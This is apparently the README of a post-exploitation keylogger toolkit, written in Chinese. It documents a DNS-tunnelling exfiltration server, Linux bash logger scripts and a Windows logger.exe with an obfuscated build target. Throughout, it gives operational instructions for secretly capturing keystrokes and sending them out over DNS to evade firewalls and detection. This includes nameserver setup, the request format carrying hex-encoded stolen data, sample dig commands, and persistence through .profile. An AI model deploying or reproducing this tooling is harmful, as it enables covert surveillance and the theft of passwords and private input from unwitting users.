这是一个后渗透阶段的键盘记录器,能够隐秘地将按键记录外泄到服务器。
这些工具擅长轻量级的外泄和持久化,这些特性有助于避免检测。它利用DNS隧道/外泄技术绕过防火墙并躲避检测。
服务器使用python3。
要安装依赖项,运行 python3 -m pip install -r requirements.txt
要启动服务器,运行 python3 main.py
usage: dns exfiltration server [-h] [-p PORT] ip domain
positional arguments:
ip
domain
options:
-h, --help show this help message and exit
-p PORT, --port PORT port to listen on
默认情况下,服务器监听UDP 53端口。使用 -p 标志指定其他端口。
ip 是服务器的IP地址。它用于SOA和NS记录,以便其他名称服务器能够找到该服务器。
domain 是服务器监听的域名,该域名应为服务器所授权的域名。
在注册商处,你需要将域名的名称服务器更改为自定义DNS。
将它们指向两个域名:ns1.example.com 和 ns2.example.com。

添加记录,将名称服务器域名指向你的外泄服务器IP地址。

这与设置粘合记录相同。
Linux键盘记录器由两个bash脚本组成。connection.sh 被 logger.sh 脚本用于将按键发送到服务器。如果你想手动发送数据(例如文件),可以将数据通过管道传递给 connection.sh 脚本。它会自动建立连接并发送数据。
logger.shUsage: logger.sh [-options] domain
Positional Arguments:
domain: the domain to send data to
Options:
-p path: give path to log file to listen to
-l: run the logger with warnings and errors printed
要启动键盘记录器,运行命令 ./logger.sh [domain] && exit。这将以静默模式启动键盘记录器,任何输入都会被发送。末尾的 && exit 会在退出时关闭shell。如果没有它,退出后会返回到未记录按键的shell。移除 &> /dev/null 可以显示错误消息。
-p 选项用于指定临时日志文件的位置,所有输入都会被发送到该文件。默认位置是 /tmp/。
-l 选项会显示警告和错误。可用于调试。
logger.sh 和 connection.sh 必须位于同一目录下,键盘记录器才能正常工作。如果需要持久化,可以将命令添加到 .profile 中,以便在每个新的交互式shell启动时自动运行。
connection.shUsage: command [-options] domain
Positional Arguments:
domain: the domain to send data to
Options:
-n: number of characters to store before sending a packet
要编译键盘记录程序,在 windows 目录下运行 make。若要编译为较小体积并具有一定混淆性的版本,请使用 production 目标。这将在 build 目录下创建输出文件 logger.exe。我仅在Windows 10上使用MinGW测试过编译。如果尝试在非Windows机器上使用 g++,很可能会遇到与 windows.h 相关的编译错误。
make production domain=example.com
你也可以通过 debug 目标编译带调试功能的程序。
make debug domain=example.com
对于两个目标,你都需要指定服务器监听的域名。
你可以使用 dig 向服务器发送请求:
dig @127.0.0.1 a.1.1.1.example.com A +short 向本地主机上的服务器发送连接请求。
dig @127.0.0.1 b.1.1.54686520717569636B2062726F776E20666F782E1B.example.com A +short 向本地主机发送测试消息。
将 example.com 替换为服务器监听的域名。
以 a 开头的A记录请求表示“连接”的开始。当服务器接收到此类请求时,它会回复一个假的非保留IP地址,其最后一个八位组包含客户端的ID。
以下是建立连接时应遵循的格式:a.1.1.1.[sld].[tld].
服务器将以以下格式回复一个IP地址:123.123.123.[id]
并发连接数不能超过254,且客户端永远不会被视为“已断开”。
以 b 开头的A记录请求表示向服务器发送的外泄数据。
以下是建立连接后发送数据时应遵循的格式:b.[数据包编号].[id].[数据].[sld].[tld].
服务器将以 [代码].123.123.123 格式回复。
id 是连接时建立的ID。数据以ASCII码的十六进制编码形式发送。
代码 是下面描述的代码之一。
200:正常如果客户端发送的请求被正常处理,服务器将响应代码 200。
201:格式错误的记录请求如果客户端发送了格式错误的记录请求,服务器将响应代码 201。
202:不存在的连接如果客户端发送的数据包ID大于当前连接数,服务器将响应代码 202。
203:乱序数据包如果客户端发送的数据包ID与预期不符,服务器将响应代码 203。客户端和服务器应将数据包编号重置为0。然后客户端可以重新发送具有新数据包ID的数据包。
204:达到最大连接数如果客户端在达到最大连接数时尝试建立连接,服务器将响应代码 204。
客户端应依赖服务器的响应作为收到数据包的确认。如果没有收到响应,应重新发送相同的载荷。
包含用户输入的日志文件含有ASCII控制字符,例如退格、删除和回车。如果使用 cat 等工具打印内容,应选择适当的选项来打印ASCII控制字符,例如 cat -v,或者使用文本编辑器打开。
键盘记录器依赖于 script,因此它不会在非交互式Shell中运行。
出于某种原因,Windows的 Dns_Query_A 总是发送重复请求。服务器会正常处理,因为它会丢弃重复的数据包。